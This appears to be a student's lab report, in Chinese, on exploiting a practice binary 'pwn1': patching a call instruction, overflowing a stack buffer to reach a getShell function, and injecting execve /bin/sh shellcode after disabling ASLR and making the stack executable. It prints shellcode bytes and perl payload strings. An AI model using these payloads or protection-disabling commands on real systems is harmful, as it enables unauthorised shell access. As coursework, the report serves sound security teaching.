目录
1.实验要求
2.实验原理
3.实验内容
- 直接修改程序机器指令,改变程序执行流程。
- 通过构造输入参数,造成BOF攻击,改变程序执行流。
- 注入Shellcode并执行。
4.实验收获与感想
5.问题思考
1.实验要求
- 本次实践的对象是一个名为pwn1的linux可执行文件。该程序有三个代码段,main主函数、foo函数(会简单回显任何用户输入的字符串。)、getShell函数(返回一个可用shell)。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。正常情况下这个代码是不会被运行的。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下个代码是不会被运行的。我们实践的目标就是想办法运行这个本不会被运行的代码片段。
2.实验原理
- 熟悉linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。会使用gdb,vi等。
(1)gdb调试工具
gdb是GNU开源组织发布的一个强大的UNIX下的程序调试工具。与Window下的IDE不同,GDB是纯命令行执行的,并没有图形界面方法。本次实践用到的命令有:
gdb命令 | 参数 | 含义 |
run | 命令行参数 | 运行程序,可简写为r |
info | break | 显示断点信息 |
quit | 退出 |
(2)vi工具
vi是 Unix 操作系统和类 Unix 操作系统中最通用的文本编辑器。以 vi 打开一个文档就直接进入一般模式,在一般模式中可以进行删除、复制、粘贴等的动作,但是却无法编辑文件内容的,按下『i, I, o, O, a, A, r, R』等任何一个字母之后会进入编辑模式,编辑模式下按Esc键可退回一般模式。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
1.NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
2.JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。
2.JE指令:条件转移指令,如果相等则跳转。
4.JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
5.CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
6.需要掌握的各指令机器码:
- NOP机器码 90
- JNE机器码 75
- JE机器码 74
- JMP rel8相对短跳转,机器码 EB
- JMP rel16相对跳转,机器码 E9
- JMP r/m16绝对跳转,机器码 FF
- JMP r/m32绝对跳转,机器码 FF
- JMP ptr1 6:16远距离绝对跳转,机器码 EA
- JMP ptr1 6:32远距离绝对跳转,机器码 EA
- JMP m16:16远距离绝对跳转,机器码 FF
- JMP m16:32远距离绝对跳转,机器码 FF
- 掌握反汇编和十六进制编程器
-
- 反汇编指令objdump -d (文件名)| more
- 进入vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
- 编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式
3.实验内容
3.1 直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具。
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
- 具体步骤
- 下载目标文件pwn1。将pwn1放在之前配置好的共享文件夹share中。
- 反汇编分析程序
使用 cp pwn1 29174321pwn1 对文件进行备份, objdump 20174321pwn1 -d |more 进行反汇编。输入/getShell就可以跳到getShell这一行。
由图,分析main函数,第四行(80484b5)call指令调用foo函数(8048491),接下来的实验中用到的getShell函数的内存地址为(804847d)。机器指令e8即为跳转,后面的数值d7ffffff是补码,表示-41,41=0x29。根据“目的地址=EIP(call的下一条指令的地址)+偏移量,计算"80484ba +d7ffffff = 80484ba-0x29 = 8048491"。下一步对可执行文件进行修改,在main函数中第4条指令跳转到"getShell"函数。修改可执行文件"d7ffffff"为"804847d-80484ba"对应的补码"c3ffffff"。
-
- 修改机器指令
用vim指令vi打开20174321pwn1文件后是乱码。
按ESC键,输入 :%!xxf 回车显示16进制。
转换以后,输入 /e8 d7 定位命令。
按r键修改d7位为c3,输入 :%!xxd -r转换为原来的格式。
按ESC键,输入 :wq 保存并退出。
-
- 验证实验结果
对修改后的文件进行反汇编,结果如下,call指令后的函数变为getshell。
运行未修改文件以及已修改文件,可知修改成功。
3.2 通过构造输入参数,造成BOF攻击,改变程序执行流
- 知识要求:堆栈结构、返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
- 具体步骤
- 反汇编查看foo函数
从截图可以看出,系统只预留了0x1c=28字节的缓冲区,超出部分会造成溢出。我们要进行攻击的是foo函数,foo函数没有输入字符的限制和边界检测,通过“栈溢出”覆盖EIP可以改变程序的执行流。本实验中我们更改的是在函数返回时改变返回程序的地址(eip),让其跳转到我们指定的地址,执行我们需要执行的函数。
-
- 确认输入字符串哪几个字符会覆盖到返回地址
首先安装gdb调试工具 sudo apt-get install gdb ,按r后输入字符串来验证覆盖地址。输入一段较长的字符串 1111111122222222333333334444444455555555
使用 info r 查看当前寄存器状态,可以看到EIP的值为0x35353535,可以验证第33-36字节为EIP的空间。
-
- 构造输入字符
寄存器显示时是按照16进制从高位向低位显示,需要从右至左每两个数字一个单位的读取。把33-36这四位的5555改为getshell的内存地址0x0804847d,即可实现跳转到getShell处执行代码。由于键盘无法输入16进制,需要先用Perl命令生成字符串文件重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
输入 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' >input ,使用 xxd input 指令查看字符串文件的内容是否已成功更改。
用指令 (cat input; cat) | ./pwn2 将input文件作为文件的输入。程序可以直接执行指令。证明修改成功。
3.3 注入shellcode并执行
- 准备工作
- 准备一段shellcode:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80。
- 备份文件:cp pwn1 pwn3
- 修改设置:
-
- execstack -s pwn3 //设置堆栈可执行
- execstack -q pwn3 //查询文件的堆栈是否可执行
- more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
- echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- more /proc/sys/kernel/randomize_va_space
(关闭地址随机化时显示权限不够,切换为root用户继续操作)
- 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
-
-
- retaddr+nop+shellcode
- nop+shellcode+retaddr
-
我们选取retaddr+nop+shellcode这种方式构造攻击代码。
首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。(注意最后一个字符不要设置成x0a,否则会影响后来的操作。)
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode 这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
然后输入指令 (cat input_shellcode;cat) | ./pwn3
按回车后无显示,打开另一个终端。在新的终端查看程序进程,输入 ps -ef | grep pwn3 找到进程号2771。
使用gbd进行调试,使用attach 命令来追踪端口。
输入指令 disassemble foo 对foo函数进行反汇编,用指令 break *0x080484ae 在ret处设置断点来查看注入buf的内存地址。
设置完断点后要回到之前的终端手动回车一下,然后再回到调试终端。输入指令c继续执行。
使用 info r esp 来查看栈顶指针所在位置,为0xffffd6ec。shellcode就在后面,地址为0xffffd6ec+4=0xffffd6f0。
退出gdb工具,修改攻击代码,将地址retaddr加进去。输入指令: perl -e 'print "A" x 32;print "xf0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
将指令注入程序: (cat input_shellcode;cat) | ./pwn3
输入ls执行机器指令,实验成功。
4.实验收获与感想
这是我第一次在虚拟机中进行这么复杂的实验,在实验过程中也遇到了各种问题。本次实验需要我们提前掌握缓冲区溢出、机器指令、函数调用和堆栈、shellcode注入等基础知识,另外,还需要我们提前学会Linux的基本指令。虽然我提前学习了实验楼中的相关知识,看了老师发的实验指导书,跟着老师的视频一步一步来,但刚开始还是失败了。之后我通过网上搜索、参考其他同学的博客,找到了问题所在,又通过仔细回看老师视频,解决了问题,也完成了实验。最后的shellcode注入实验需要非常仔细地输入很长的指令,才能顺畅地完成实验。
5.问题思考
- 什么是漏洞?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。漏洞可能来自应用软件或操作系统设计时的缺陷或编码时产生的错误,也可能来自业务在交互处理过程中的设计缺陷或逻辑流程上的不合理之处。
- 漏洞有什么危害?
漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展,漏洞从过去以电脑为载体延伸至数码平台,如手机二维码漏洞,安卓应用程序漏洞等等。